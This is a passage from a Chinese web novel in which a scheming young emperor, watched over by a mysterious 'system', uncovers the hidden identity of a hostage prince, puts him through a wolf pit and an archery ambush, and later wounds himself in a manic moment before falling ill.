师离忱懒得理他,靠在柔软的宽椅中,嫌他烦了,不咸不淡地道了句:“朕让他是谁,就会是谁。” 他慢吞吞地转着指间的玉戒,眼底一片深沉。 忽地想到另一件事。 之前被鞑靼搬空过的那座毒粮。 早知鞑靼不会安分,他在几个月前便将津阳城的粮营分开。 真正的军粮转移到城中,针对鞑靼则设了两座毒粮营,能毒死鞑靼人最好,毒不死人毒死畜牲也行。 裴郁璟叫来的鞑靼人把毒粮营被搬空了一座,还剩一座……鞑靼王师恰好在攻打津阳城。 师离忱笑意深深。 秦家军或许能借着再来一局请君入瓮。 而被搬走的那座……他瞥了眼裴郁璟,心里有了计较。 至于秦家军,同样是在几个月前就藏在津阳城,非危急关头不会上阵。 上回鞑靼人来的时候使了个调虎离山,并未给津阳城造成伤亡,故此他才没有现身。 津阳城位置重要,靠近鞑靼,若被攻下不堪设想,因此圣上几个月前便知会了秦家军。 秦家军未退之前,边关曾有一句话—— “重镇将军十二位,鞑靼独畏秦家军。” 对于将才,圣上一向爱惜。 况且秦家军的身世也足够让人痛惜。 高祖皇帝驾崩后,先帝初登皇位时,秦家一族在军中势大。 先帝皇位不稳,忌惮其威信过重,当时月商与南晋起战,先帝便刻意做局拖延了援军,让秦家满门魂断荒山谷,又以通敌之罪,给其挂上污名。 此后十年,将军不再有秦姓。 后来先帝意外遇刺,病重昏迷无法起身。 当时身为太子的师离忱上阵监国,做的第一件事便是为秦家翻案,又以先帝之名下罪己诏。 先帝同不同意不重要,反正这么干了。 等先帝病好了,罪己诏下过了,案也平反了。先帝即便震怒也无济于事,大局已定。 而秦家尚未平反的那段时间,秦家最后一个嫡系血脉,被关系交好房家带了回去。 他被暂且记在房家主母名下,成了房家墨的弟弟房家砚。 直到平反后,房家砚改回秦姓,保留家字辈,取军为名,成了秦家军。 秦家军后在边疆做了重镇将军,守了近三年,专攻鞑靼,有勇有谋,而后鞑靼与月商签定十年和平契约,他便请辞离军。 以秦家军的经历,就算他憎恶皇室,私底下暗议谋反,豢养私兵,师离忱都能理解。 可偏偏他没有,他最大的恶意就是喝醉之后痛骂几句先帝,然后重整旗鼓又是一条汉子。 此人正到发邪,他愿意上阵领兵,原因也并非热爱月商,他心疼的是那些将士。 秦家军一生都在立志减少伤亡,让将士平安归家。 他完美继承了秦家血脉,或许秦家军对皇室是有恨的,但更恨鞑靼,故此得了调令,即刻藏身在了津阳城。 时时刻刻静观其变,给京都传信。 对旁人或许尚有疑虑。 对与秦家军,师离忱给出了印信,让他监军,重授他重镇将军之名。 至于先帝。 师离忱一个字都不想提,他有时候真的很不想承认有这么个爹,可这血脉是实打实的。 福安说他像母妃,但与先帝也有相似,比如那死都撕不掉的疑心病,所以他必须要有监察司,耳目达天下。 再比如。 自从裴郁璟入京后,天上飞过的每一只苍鹰,鸽子,都有专人窥探监视,在第一时间传入宫中。 又或者是身在京都那些不起眼的南晋线人,他们被放任的一举一动,都被记录在册。 看着眼前台阶上坐着的高大背影,师离忱指腹在扶手上轻轻敲击,漫不经心地审视着。 圣上最擅长的就是,合理利用双刃剑。 …… 圣上看着裴郁璟,慢悠悠道:“最迟再过两个时辰,沈绍到京都,你去兽园等着吧,朕会让你们见面的。” 裴郁璟亦在看圣上,打量地眼神中透出几分阴翳戾气。兽园在他这儿可不是个好词。 但要把人救出来,只能继续周旋。 裴郁璟扯开一个虚伪的笑,应道:“那璟便恭候圣上佳音。” 话音落下,他转身的一瞬,脸上笑意褪得一干二净,冷冰冰地面孔宛若一尊肃杀之神。 阔步带风。 圣上歪着脑袋,瞧着他背影消失在拐角,哼笑道:“这就急了。”看来这个沈绍,对裴郁璟真的很重要。 他不经开始思索,系统最初启动的那个任务——‘男主黑化度百分之九十九,感化男主’。 这个黑化程度,系统又是怎么判定的呢? 说起来,系统好久没活动过了,不威胁到男主生命的时候,它就像死了一样,杀一杀男主就能触发。 不过师离忱总觉得,事情没那么简单。 如果它真的是智能产物,光是不能对话这点就很古怪,要知道现代社会,叫一声天猫精灵还能收到一声“哎”。 思绪游走间。 郞义来报,说从乞丐窝里抓到了林氏余孽。 林氏余孽,目前还用不上。师离忱神智回笼,不想开口说话,轻描淡写地递了个眼神给乐福安。 乐福安会意道:“关诏狱去,给口饭别饿死就成。” 郞义得令去办。 这时,福生领着两名小太监过来,小太监双手承托着托盘,上面躺着一把朴实无华的弓。 共有两把。 这个时代有威力巨大但射速慢的八牛弩,也通常被称为床弩,弓箭还是老式的拉力反曲弓,以石来计算。 例如师离忱之前把玩的金弓,沉重无比,当日他拉到极致估摸着也就一石以上暂不过半。 金弓做得精细,到底是拿来耍弄的工具,比不得军营里的。若换做万里挑一的弓箭手,拉到两石也不在话下。 师离忱惦记着提升军力,专门画了图纸,明工坊这回把新造出来的弓送来了,两端撞上齿轮,拉起来不算费力。 复合弓。 师离忱眼底淡然,拉弓提箭,只需用先前一半的力气,就能拉满弓弦。 一箭凌空飞出,穿透树干,满树落雪哗哗往下掉。他可舍不得毁山茶花树,点的是另一株不太重要的,也不清楚是什么品种的树。 乐福安惊得“哎呀”一声,圣上不喜欢这个,等会儿得叫人挖了重新种一株海棠树。 但圣上对复合弓很满意,低头仔细打量。 月商金属矿不少。 但复合弓所需的其他材料,动物筋,牛羊角,中间还需要繁复的工艺,如此合计一番,反倒不知能量产出多少。 他将弓抛给乐福安,“让少府监去估算一下,能产多少就产,要尽快。” 月商最精英的弓箭手们,换上复合弓,在战场上那可是绝佳的杀器。以及弩箭也在进一步改良,还有在研究火药的。 圣上的反骨还在增长。 系统不给他的,他都要。 第34章 复合弓的出现让圣上有些兴奋,玩得久了些,树上全是箭眼,箭穿了过去钉到了墙上。 那股劲过去了,师离忱才察觉到手有点冰,收手不玩了。乐福安及时塞了个手炉过来,师离忱揣着暖了会儿,舒坦得呼出一口气,“记得赏。” 明工坊的工人们,打造的都是机密,一生都被严格管控,酬劳给丰厚些安顿好家人是最基本的事。 乐福安笑道,“底下都安排着呢,圣上放心。” 这天寒地冻,连说话的气都成了淡淡白雾,师离忱懒洋洋地应了声,有些倦怠地耷拉起眼皮。 惦记着圣上午膳吃得少,乐福安专程又安排了热梨甜汤,哄着圣上回紫宸殿里避风,喝汤暖胃。 圣上脾气莫测多变,可福公公却乐在其中。 这可是他一手带大的圣上,任凭旁人说得再凶残,在他眼里那都是率真随性。就算圣上提着把剑把所有人杀了,他也会拍手为圣上喝彩。 他看着圣上在迟疑中,喝上了一口甜汤,看着圣上眉头渐渐舒展开来,福公公目光也变得柔软。 他就知道,圣上是爱吃这爽口清甜的东西。 …… 红枣热梨汤让师离忱稍稍开了点胃,这时外头响起福生的通传:“圣上,房家少将军前来述职。” 师离忱放下食用过的半碗甜汤,懒得再移步御书房,直接起身去前殿,开口平静道:“传。” 宫人们有眼色的上来把东西都撤下,师离忱在御案前坐下,面前有一份诏狱呈报来的信息。 林氏余孽入诏狱后一字不语,不肯招供。 师离忱简单扫过一眼,将其放到一旁,另一封是有关于沈绍在南晋的经历,他低眼看着,指腹在纸角边缘有意无意地敲了敲。 房云哲被引进前殿,风尘仆仆一身玄甲未换,一眼就瞧见御案前长睫垂敛着,面白唇红,眉眼萦绕几分冷意,静坐如画,似在深思的圣上。 强烈的视觉冲击,令他愣怔一瞬。乐福安肃着脸咳了声,在旁提点,“少将军,不可直视天颜!” 房云哲回神来,紧忙跪下参拜:“臣,房云哲,见过圣上。” 静默须臾。 上首传来圣上慵懒地嗓音,听不出喜怒:“房家小子,朕听闻你离京前,还烧了家花楼?” “是!”房云哲大声应着,神态自若道:“臣见不惯那家花楼的做派,楼中掌柜背靠世家,便草菅人命,逼良为娼,将女子锁在一亩三寸地,打骂折磨,灌下穿肠毒药。” 启程回京前父亲就提醒过他,圣上明辨是非,让他不必为了几分颜面撒谎,反倒是要实诚些,才更容易得到圣上眷顾。 他声音郎朗,掷地有声,“论语有言,明知不可为而为之,大丈夫顶天立地,怎能见妇孺身处险境而袖手旁观!” 师离忱撩起眼皮,视线落在房云哲俊逸的脸上,那张脸吃过边关的沙子有少许风霜的痕迹,却更显毅力。 林氏当初行事狂悖,这样的世家违背法规,暗中养点死士暗卫并非难事。 给一个尚无功名在身的房云哲找点麻烦,足以让他脱层皮,所以他在决心救人之前,必然是下定了主意。 一个年轻气盛有正义之心的少年。师离忱轻笑道,“好儿郎,脾气倒是随了你父亲,你没做错,起来吧。”他淡淡吩咐道,“赐座。” “谢圣上。”得了肯定,房云哲克制住雀跃的心思,从容地坐在一旁。 师离忱目光从信纸上的字一个个滑过,漫不经心问道:“你觉得,沈绍是个什么样的人?” 沈绍? 房云哲有些奇怪,为何圣上独独点名要这个俘虏上京。 但既然问起,他回忆一番,蹙眉道:“臣对此人印象不深,只知他是被镇国公擒获,押送途中沈绍多数都缩在囚车角落,不曾与人交谈,寡言的很。” 师离忱背靠龙椅,调整了一个较为舒适的姿态,散漫道:“他才貌如何?” “……” 房云哲怪异地看了眼圣上,目光没敢多停留,瞬息便收了回来,这样偷偷瞧一眼还是有些冲击。 定了定心神,他想着道:“而立之年,有大将之风。” 沈绍作为俘虏,对待俘虏将士们没喊打喊杀已然是仁慈,蓬头垢面是少不了,房云哲只能从观察到的气度憋出这么一句话。 不过圣上点名要此人,是因为有才?还是有貌? 房云哲认为圣上比他此生见过的所有人都要扎眼,圣上要是喜欢俊美男子,照镜子就行。 或许是想招安…… 吧? 师离忱察觉到房云哲时不时瞟来的,古怪的眼神,便知是他误会了点别的。 师离忱也懒得解释,又随意问了几个问题,闲谈几句房将军的近况,看着是从房云哲嘴里问不出什么有效信息了,便摆摆手叫他退下。 殿内重归平静。 师离忱捻着案上的密信,薄薄一张墨色字迹透出了纸背。他真正怀疑的是,沈绍和裴郁璟的关系。 到底什么样的关系,才会大费周章的想要把人救出去。 圣上苦思。 圣上烦了。 * 师离忱决定先见一见沈绍。 乐福安得了令,带着一帮小太监过来,避免麻烦,给俘虏用了迷药,直接把人丢进了水池洗了个干净。 给人套了件中衣,清清爽爽地送到圣上跟前,捆着手脚放在地上。迷药效果还没过, 圣上居高临下地仔细打量了几眼,沈绍昏迷闭目,一张略显稳重的俊逸脸庞,脸侧还有一条细小的刀伤。 这条痕迹为其增添了几分韵味,只是再多看两眼,就能从这张脸上,发现了两三分熟悉的影子。状似形不似,若是人还醒着的话,不去细心观察,还难以发觉。 师离忱双眸微眯,慢条斯理地摩挲起指间的玉戒。 炉烟一线,袅袅升起,让殿内铺出一股清雅淡淡的气息。 一时静谧非常。 忽地。 躺在地上如死尸般的人陡然睁眼,猛地暴跳起身,眼中迸出杀气,试图用捆住双手的绳索做凶器,套住圣上的颈项,勒住索命。 乍然暴起的人宛若一头猛兽扑过来,师离忱被惊了一下,身法灵活的躲过一遭,见沈绍锲而不舍又要袭来。 圣上本来就烦,见他如此,眉梢轻敛‘啧’了一声,借力打力一脚踹出去,踹得人飞出去撞翻了屏风,两眼发直怀疑人生。 “你居然会武?!”沈绍哪里想得到,一眼苍白面色,瞧着病恹恹的年轻帝王,有那么大劲。 师离忱冷笑,“不愧是一脉相承的血统,裴郁璟初到皇宫时,也想这么杀朕。” 一句话。 登时让沈绍变了脸色。 第35章 沈绍坐起来,警惕地看着师离忱,“什么一脉相承?” 他肯回答,就已经证实了师离忱的猜测。 师离忱愉悦地勾起唇角,道:“别慌,瞧瞧你一头的汗。” 沈绍怎可能信敌国皇帝的话,浑身戒备脊骨发凉。 与之不同的是,师离忱步伐松弛,慢条斯理地回到御案前。 他拿起那纸密信笑吟吟地道,“听不懂?朕的探子懂,南晋帝应该也懂,朕也可以修书一封给南晋帝,他应该会很乐意去查查真相。” 说话间,他看着沈绍,笑得和善,长眸弯弯地,盛满不怀好意。 是威胁。 一时僵持。 沈绍率先打破死寂,他赌不起,“请圣上明示。” 这算是低头的意思。 师离忱莞尔:“朕喜欢听真话,你自己交代了,朕就不做什么。”他补充,“比如,裴郁璟到底是谁。” …… 这是一个事关多人性命的机密。 沈绍并不想说,可眼下月商皇帝根本没有给他闭嘴的机会,眸中明晃晃的恶意都要溢出来了。 若是不说实话,月商皇帝但凡在信中添油加醋,南晋陛下定会查出当年的真相。 沈绍沉默片刻,咬牙交代了。 月商皇帝乃一国之君,必不会言而无信。 于是。 圣上得到了一个大新闻。 …… 因着这个新闻,师离忱好些日子没见裴郁璟,天天带着小汤圆,在观星台上看飘雪。 大猫冬天皮毛厚实,留存的体温高,专门半躺着把暖暖的肚皮留给圣上捂手,夹着嗓子哼唧哼唧。 师离忱凝望着飘雪,还在想前几天从沈绍嘴里听到的消息。 根据沈绍的描述,裴郁璟在南晋的身世关系有些复杂。 裴郁璟不是真正的南晋七皇子,而是南晋一位仇姓将军的遗孤,仇苍。 仇将军有一嫡女,嫁给当时南晋亲王做王妃,有一层姻亲关系,加上仇将军功高盖主,被南晋皇帝猜忌。 后被皇帝做局,以反叛之名一网打尽。 仇家被抄。 仇将军征战多年,哪能不知功高盖主之嫌,所谓防患于未然,他将最有根骨的小儿放在最信任的下属,常年守卫边关的沈绍身边秘密教养。 又以民间商队作为遮掩,将历年来的赏赐换作金银,分成几个部分藏着,养了一批暗报。 沈绍明面上与仇将军并无往来,因此并未被这场祸事牵连。 但沈家往前三代,两家有亲,其中一位家主是从仇家过继来的,虽早出了五服,可一些细微的地方偶有相似。 其中一位庶妹被南晋帝选上,诞下七皇子。 而后不久。 南晋帝被后妃挑唆,将不到十岁的七皇子赶去边关历练,可惜半道上就被刺杀身亡。 下手之人没想留活口,一剑封喉,七皇子与其随从全部覆灭。 仇苍年纪与七皇子相差无几,幼时面容有些相似,捡了这个漏,自此顶替了七皇子的身份。 沈绍心有疑虑。 为何偏偏这么巧,七皇子死得这般及时。他不是没怀疑过仇苍,可仇苍那年也才十岁,又怎会有如此狠的手段。 他不敢深想,也不敢再查。 让仇苍彻底成了七皇子,护送前往边关,仇苍拥有了光明正大的身份。他则是七皇子的师父。 如师如父。 多年下来,以假乱真。 今时今日,假也成真。 长大后的裴郁璟回到南晋皇城,无人察觉异常。 沈绍只说到这儿,便交代不下去了,裴郁璟回到皇城之后的事,他并未参与,所知甚少。 再后来就是他吃了败仗,一直在月商做俘虏挖矿。 师离忱听完,瞧着沈绍神情明显的不服气,大概率是吃败仗复盘的不服气。人是镇国公擒获的,师离忱想了想,干脆把沈绍先丢给镇国公。 圣上在思考。 圣上很久没有过这种荒诞的感觉了。 关于男主的身世,系统没提,书里也一个字没提。 师离忱觉得,这不正常。 他不由得开始怀疑起系统,还有这本书的真实性。 可仔细核对,又样样对得上。 问题出在哪儿? 乐福安瞧着圣上郁郁寡欢,极力想了些笑话讲给圣上听。师离忱听得心不在焉,把脸靠在了小汤圆毛茸茸的脖子上。 大猫还想用舌头舔主人的脑袋,师离忱享受大猫的毛领,但不想被大猫舔得一头口水。 预判了它的行动,手掌按在了大猫的鼻梁上。 小汤圆作为亚成年虎,体型早已超过寻常的成年虎,大老虎的脸也是大的,衬得圣上苍白修长的手都小了一圈,它委屈地缩回舌头。 其乐融融。 忽地。 师离忱有了主意,他坐起身,慢慢将视线转到了大老虎的脸上,捧起小汤圆硕。大的脑袋,大猫清澈地蓝眼珠懵懂的看着身圣上。大猫什么都不懂,但是大猫会讨圣上开心,歪着头蹭圣上表达亲昵。 师离忱舍不得了,苦恼道:“朕的小汤圆不凶,嗯……容朕再想想……” 兽园除了一些观赏动物,还有一些穷凶极恶的狼。 * 京都之中。 监察司选拔以极为刁钻苛刻的形式开始,又结束,人人都有机会也代表着空前绝后的热闹。 经过一番调选,太师与太傅层层把关,将人分批送往各大州府,那边也有新的监察司府衙建起。 圣上要耳目达天下,监察天下大小官员,自是不能厚此薄彼。 几场雪过后,监察司正式进入紧锣密鼓的运转,磨合,有条不紊地进行他们该做的事情。 故此,师离忱案上的密件是越来越多了,一批鸡毛蒜皮的小事被筛选处理掉,送上来一批对朝中官员记录进度的册子。 通俗点说。 叫背调。 彻查。 对大小官员过往进行一定的记录,包括近期行踪,化作简短的几句话编成册子,类似于目录,具体明细另外存放。 想看谁的也可以及时调出。 师离忱特意点了一位官员的信息作为参考。 小到这位官员家中小妾吵架的话语,大到这位官员偷偷摸摸用暗语和鹿亲王联系的步骤,记载详细,一点不落。 师离忱点着册子上的字,笑道:“都说民间能人多,朕看确实如此。” 躲过诸多侍卫细心潜伏,多番观察,都不一定能得出这么详细的内容,这人怕是有特殊的本事。怪异的本领不一定招人待见,但用得妙了必是好棋。 他感慨,“待有空,朕要见见他。” 绝对是个好的暗探苗子。 乐福安感慨,“圣上公正。” 师离忱笑了笑。 现在,他要去见裴郁璟。 把沈绍送到裴郁璟面前,希望能给他一个大大的惊喜。 也或许。 是惊吓? * 鹿亲王府。 鹿亲王来回踱步,诏狱无法安插进人,那废物被人在耳边教唆几句就去刺杀,没用!林氏这步棋算是废了。 如今圣上尚未批准他回封地,还不知要在京都留多久,多留一日都寝食难安。早前先帝在时他蛰伏,如今这小儿上位他还要蛰伏! 他神色凝重。 不行,不能如此被动。 他沉思许久,赶紧叫暗哨去传讯。 …… 这会儿。 兽园。 一方一块开阔的凹地,最中央罩下一座铁笼,沈绍五花大绑蒙眼关在笼子里,外面六头恶狼环视,眼睛里冒出绿光。 师离忱站在高处,只需抬手下令,金吾卫便能立即将铁笼拉起,六头恶狼自能把笼中手无寸铁之人,撕得粉碎。 裴郁璟看着眼前的一幕,笑容敛去,眼神阴恻恻的盯着场地中央,“圣上什么意思?” 师离忱欣赏他的表情,含笑地眸中恶意满满,“你要的人,朕给你送过来了,开心吗?” 裴郁璟直视着师离忱,眼神刺骨冷漠:“圣上,过了。” “这才哪儿到哪儿。”师离忱不屑,他端详着裴郁璟,笑不达眼底,“朕放着你,也是想看看你的目的。” 裴郁璟面色阴沉不定,“所以?” “所以朕觉得你很贪心。”师离忱懒洋洋地托腮,叹道,“你要救人,还要算计朕的江山,野心挺大的。” 乐福安站在一旁,圣上话一出,便将几则密信甩到裴郁璟跟前,大致都没瞒过帝王的眼睛。 裴郁璟视线一凝,陡然看向帝王,“你早就知道。” 与鞑靼的,与南晋的,以及月商的。 布局之大,即便再看一次,师离忱也格外感慨,“你挺有钱,养得起那么多人,可千不该万不该,就是妄图乱朕的江山。” 垂眼盯着裴郁璟,他眼底透出寒意,“鹿亲王年幼得高祖帝喜爱,得了块好封地,先帝顾忌名声没杀他,但遏了钱财,让他生不出反心。” “你倒好,偷偷办了件大事,供他养了三年的私兵。” 自从半年前查到有关鹿亲王豢养私兵的消息,师离忱便将人召上京都,这种不老实的人要眼皮底下,他才能安心。 看着面前的年轻帝王,裴郁璟心底生出一股奇异的感觉,好像完全被小皇帝掌控了。 事实也确实如此,小皇帝全然知晓。若说之前小皇帝还有心情虚与委蛇一番,现在就是彻底把话摊开。 智多近妖。 果真如此。 这样明。慧的帝王,让裴郁璟骨子里生起颤栗,不是害怕,是兴奋。 看着帝王说话时上下翻碰的唇,尽在掌控的语调,让他不由自主地想凑过去,用力啃咬。 他极力克制着这股莫名的情绪,垂在身侧的手紧握成拳,眼睛牢牢锁着师离忱。全然知晓的圣上,更耀眼了,耀眼的让人错不开目光。 “圣上打算如何。”裴郁璟开口,声音有些沉哑。 乐福安第一时间注意到裴郁璟捏起的拳头,生怕重蹈覆辙警惕的护在圣上跟前,神情变得阴狠,咬牙切齿骂道:“贼子!就知你不安好心!” “好了福安。”师离忱语调温和,“骂几句不痛不痒的,没意思。”他有着更好玩的游戏。 玩法有很多,他漫不经心下令:“把他丢进去。” 金吾卫刚动,裴郁璟嗤道:“何必劳烦!” 话音,他翻身跳进凹地,顷刻间半饱的恶狼闻着味围了过来。 这类禽兽很会分辨强弱,裴郁璟露出一个嗜杀地笑容,扫过周边狼群,六匹狼立刻衡量起来,迟迟不攻。 没关系。 师离忱笑了笑,抬手,金吾卫拉起铁链,铁笼向上升起,这些狼瞬间又围向了铁笼周围。 裴郁璟敛笑,挡在沈绍面前,先手拧断两只狼的脖子。 一声哨响。 他抬眼,场外战满了弓箭手。 师离忱的站在高处,饶有兴味道:“仇苍,好名字。不如让朕看看,这回你能躲过几支箭?” 裴郁璟神情微变,回首看去,沈绍捆在身后的绳子与铁笼相连,此刻已经被拉了上去。 沈绍摘了眼罩,对裴郁璟尴尬地笑了笑,“人在屋檐下。”沈家全族都在南晋,他无法承担消息被传回去的风险。 况且月商帝和他说了,不会杀裴郁璟。 可…… 沈绍这才看到场外一圈的弓箭手,迟疑了。 真的不会杀吗? * 与此同时。 师离忱听着系统的声音在狂叫,“禁止!禁止违规!!禁止!!!”他默不作声,摸着玉戒,凝视着裴郁璟,没给系统任何反应。 系统警报响了好一会儿。 片刻后。 系统突然停止鸣叫,正当师离忱要下令放箭时,又重新启动,声音模糊卡顿:“错乱……有误……重置!重置!重置失败……重置……重置失败……” 脑海中不断响着系统反复‘重置,重置失败’的声音。 师离忱冷道:“放箭。” 裴郁璟不可能坐以待毙,脱下外衣,以衣做武,放箭的瞬间便开始躲避,卷住飞来的箭。 但耐不住箭太多,腿上背后中了两箭,被他一把折断,血浸透出来,他身形飞快的穿梭在场地上。 本来也没多大的地方,这人三两下就窜上来,弓箭手一轮结束尚未来得及补箭,他已然站在圣上身侧,用一根锐利的箭尖,对着圣上的脖子,威胁道:“别动。” 金吾卫面色不善地审视着裴郁璟,眼神冷得像冰。乐福安急了,“你!放开圣上!” 被冰冷的箭点在动脉的位置,师离忱毫无恐惧之意,反倒笑了,他发现了新的问题,眼神亮得可怕。 系统,不过如此。 只能干预他。 或者说。 系统并不是来自超高纬度的产物,不能完全控制这本书,这个空间的走向,所以只能想办法控制他。 很不凑巧。 师离忱不喜欢被控制,他低笑着掐住了裴郁璟的手腕,神色间透出几分疯狂,侧目道:“想杀朕吗?朕帮你啊!” 他大笑着,死死捏住裴郁璟的手,让那支箭,刺向动脉! 第36章 尖端刚刺破肌肤,流出一点红色,裴郁璟便瞳孔一震,死死捏紧了箭往后撤,不让其再进半寸。 小皇帝召了一堆人拿箭射杀他,他只是想吓唬吓唬小皇帝而已,并不是真心想让他死。 师离忱却兴致高昂,甚至面上出现了红晕。他注视着裴郁璟,也不让裴郁璟退,似乎很是期待被箭刺穿颈间的命脉。 小皇帝力气大得惊人,那只瘦削苍白的手扣着他的手腕,还带了点巧劲,箭羽的尾端因二人的拉扯在发颤。 空气凝滞。 裴郁璟眼睛一眨不眨地盯着师离忱,不得不承认,此刻的小皇帝就像那朵盛开的山茶花,那股疯劲与魄力,足够惊艳。 他是个合格的帝王,裴郁璟不想让他死。 当然,系统警报声还在持续:“检测到自毁倾向,开启强制干预……开启失败……开启强制干预,开启成功!” 干预这支箭前进的,除了裴郁璟,还有系统。 师离忱无论如何都刺不进去,就像那天他刺裴郁璟一样,再坚持,只会转移到别的地方。 系统只能干预他一个人,真是让人厌烦。 不让他杀男主,也不让他自毁。 “没意思。”师离忱忽地泄力,甩手丢了箭,慢条斯理道:“不玩了。” 乐福安胆战心惊地过来,用帕子捂着圣上破了一点皮肉的脖子,擦去血迹,小声抽泣了一下。 师离忱随便乐福安摆弄,转眸看着裴郁璟,“你该庆幸的。”庆幸自己还有一些价值。 师离忱令道:“都撤了吧。” 即便是担忧圣上安危,可有圣上开口命令,弓箭手也只能井然有序的退下。 师离忱耐心端详着裴郁璟。 换作初见,他一定会不计后果,把人铲除,即便是一命换一命。但现在,裴郁璟有了别的利用价值,那么境遇就完全不一样了。 他可舍不得杀一个行走的活棋。 话到这里,二人完全明牌。 目前从帝王身上感觉不到杀气了,裴郁璟缓了会儿,背上腿上的箭伤开始疼了,腿上嵌进去的箭不浅,他干脆坐下来,大口喘着气。 他目含戾气,气笑了,“是啊,我真是该庆幸。” 被箭射杀,还能逃出生天。 师离忱不置可否,笑谈间拔了郞义腰间的佩刀,圣上要做什么向来没人敢阻拦,等郞义反应过来大惊失色时,已经来不及阻拦。 “刺啦!” 寒刃割破广袖,在手臂划了个不深不浅的刀痕,师离忱面无表情地把这把刀丢回郞义的刀鞘,眼神里透出几分癫狂,“朕陪你。” 他将小臂垂在身侧,不让乐福安碰,血蜿蜒而下,半个手掌乃至修长手指都被染得鲜红。 师离忱长睫低敛,看着同样一身斑驳血迹的裴郁璟,笑得血腥重复低语道:“朕今天高兴,朕陪你一起疼。” 带血的手点了点裴郁璟的鼻子,恩赐道:“现在,你可以去和你的亲人叙旧了,但是得记得带上你的尾巴回屋睡觉。” 裴郁璟不记得当时是什么心境。 只知道心口在狂跳,或许是因为血腥味的刺激,血还带着帝王温热的体温,又或是小皇帝当时恶劣疯狂的神情,太吸引人。 * 紫宸殿,师离忱慢条斯理地哼起小调。 乐福安给圣上包扎伤口,瘪着嘴,脸上还挂着两行清泪,抽抽噎噎:“圣上,吓死老奴了,他算什么东西,您犯不上为他损坏龙体啊!” 师离忱眉目舒展,歪着头逗乐福安,“朕的福安生气了?” “老奴哪敢!”话是这么说,乐福安眼里的愤慨之色完全藏不住,“圣上下手那么快,老奴阻拦都来不及,怎么敢生气呢!” 都阴阳怪气上了,肯定是非常生气。师离忱笑容开怀,“朕甚少见福安如此疾言厉色的模样。” 平日唯唯诺诺,遇到正事胆子比谁都大。 乐福安冷哼一声,憋着一口气不肯和圣上说话了。 瞧他这样,师离忱眼梢一弯,又笑了,笑着笑着,他眸底陡然萦生戾气,想起系统反复响起的‘重置,重置失败’。 系统肯定不会平白无故启动一项功能。 这句话。 究竟代表着什么意思? * 此刻。 美其名曰叙旧的二人之间,空气里弥漫着一股叫心虚的寂静。 太医令留了上好的金疮药,沈绍和裴郁璟都是在军中长大处理伤口家常便饭,便由沈绍代劳包扎。 裴郁璟还没想好怎么开口审问叛徒,就听沈绍迟疑的声音,“你……你是不是喜欢月商帝?” 宛若一道惊雷从天劈,他瞪大了眼睛矢口否认,“放屁!别胡说!我不是那种人!我就是看他够狠!那叫男人之间的惺惺相惜!不是,我……” 他大笑两声,伤口绷出血了也不在乎,一脸正义坦然,“选一个好皇帝对天下有多重要?你还不清楚吗!” 沈绍欲言又止,拧眉迟疑道:“你都被伤成这样了!还狡辩?况且我听闻,月商帝似乎是位暴君……” “他杀的都是该杀之人!”裴郁璟沉声反驳,“杀的都是奸臣,处理的都是不干人事的官宦世家,怎能算得上暴君!” 沈绍看透了,冷笑道:“我当年和你一样嘴硬。” 狗屁喜欢!裴郁璟神情阴鸷,坚决否认:“我不可能!等等。”他话锋一转,扫向沈绍,“师父,您到底和他交代了多少我的事?” “啊这……”沈绍重新拾回心虚,摸了摸鼻子,解释:“我有分寸,只交代了你的身世,旁的一概未提。” 说着,他仰头望天语气悲凉:“我想杀他,被他一脚踹得起不来,瞧着文文弱弱的,劲真大。” 对于沈绍的自不量力,裴郁璟从胸腔发出一声冷冷嘲笑。 沈绍拍了拍裴郁璟的肩,敛去神色冷声道:“为师作为过来人,劝你一句,若是注定为敌的人,千万别动真心。” 裴郁璟低眼拢上外衣,神情冷漠:“我没给人当狗的癖好。” 回忆着在月商帝那儿感受到的压迫与威慑,沈绍不寒而栗,道:“做事还是仔细些,别让月商帝发现你的企图。” 裴郁璟道:“晚了,他查到了。”他眉眼阴翳,笑容也阴恻恻,“而且有你这个把柄在,他指不定多高兴。” 沈绍:“?” 裴郁璟道:“我亲自递给他的。”故意的。 沈绍平静,“你也有病。” 两个疯子! 刚走没多久的太医令,又匆忙带着一帮人跑回来,神色焦急脚步飞快着小跑,裴郁璟看他们去的方向是紫宸殿。 即便如此还是有小太监急急的催促声,“快快,圣上昏迷不醒,各位大人再走快些!” 他眉心微敛,追了上去。 …… 第37章 圣上突然陷入昏睡,乐福安方寸大乱,急召太医令前来诊治。 一波未平一波又起,圣上面色潮红又忽地发起热来,乐福安拿着帕子为圣上擦拭额头。 殿中一片沉寂。 搭脉诊断过后,太医令收起覆在圣上腕间的丝帕,将乐福安唤出去。 “圣上连日耗费心神,心气郁结,大喜大悲,眼下又伤及自身,积压已久的病症自然一同找了上来。” 太医令神色凝重,“福公公,圣上身子并无从前的康健,还要多加调养,需公公时刻叮嘱才行,万万不能再叫圣上任性妄为,拿刀伤己!” 可谁也没料到圣上的举动,也来不及阻拦。郞义守在门前,还在为了配刀伤到圣上龙体而自责。 金吾卫们压着脑袋,心绪低落。 整个紫宸殿似乎都弥漫着一股低气压。 太医令喋喋不休的吩咐医嘱。 乐福安连连点头应声,说话间,他瞧见一瘸一拐走来的裴郁璟,有些意外,眼里闪过一丝诧异之色。 这位裴殿下伤得也不轻,中了四五箭,圣上虽未下死令,可他仅一轮就从弓箭手的箭下逃脱,还算有点本事。 方才他也问了太医令,说裴郁璟腿上的箭伤要重些,起码得卧床养半个月才能下榻走路。 可这人才刚拔箭,就顶着张惨白相的脸,瘸着腿过来……乐福安端详片刻,越瞧越不对味。 他警惕起来,语气也冷冰冰:“圣上病了,没空瞧你的苦肉计。” 裴郁璟面无表情,“圣上有口谕,许我近身。” 乐福安脸色阴沉的难看,圣上确实有吩咐过,等裴郁璟叙旧结束后,再来紫宸殿就不必再拦着。 可眼下圣上昏睡不醒,他实在放心不下,还要出言刺上几句,却骤地对上裴郁璟森冷戾气的视线,像那头匍匐趴着的恶狼终于觉醒,陡然间展现他凶恶的獠牙,好似还有浴血归来的杀气。 神态像极了发怒时的圣上。 乐福安一时怔住。 裴郁璟不欲废话,径直撞开挡在门前的乐福安和郞义,大步进殿,眉眼间的几分阴鸷之色在瞧见龙床中央昏睡的帝王之后,敛得一干二净。 小皇帝睡得并不安稳,眉心微蹙,发热的红晕让他整个人宛若一朵正在绽放的荼蘼之花。 他悄然靠近,毫不避讳地坐在踏道,他经常睡这儿已然习惯,他碰了碰师离忱搭在被子上的手。 帝王的体温向来偏凉,如今冬日下雪,在有地龙的殿内还是经常一身单薄不穿靴子乱逛,所以除了手心是暖的,其余指腹时常是带点微凉。 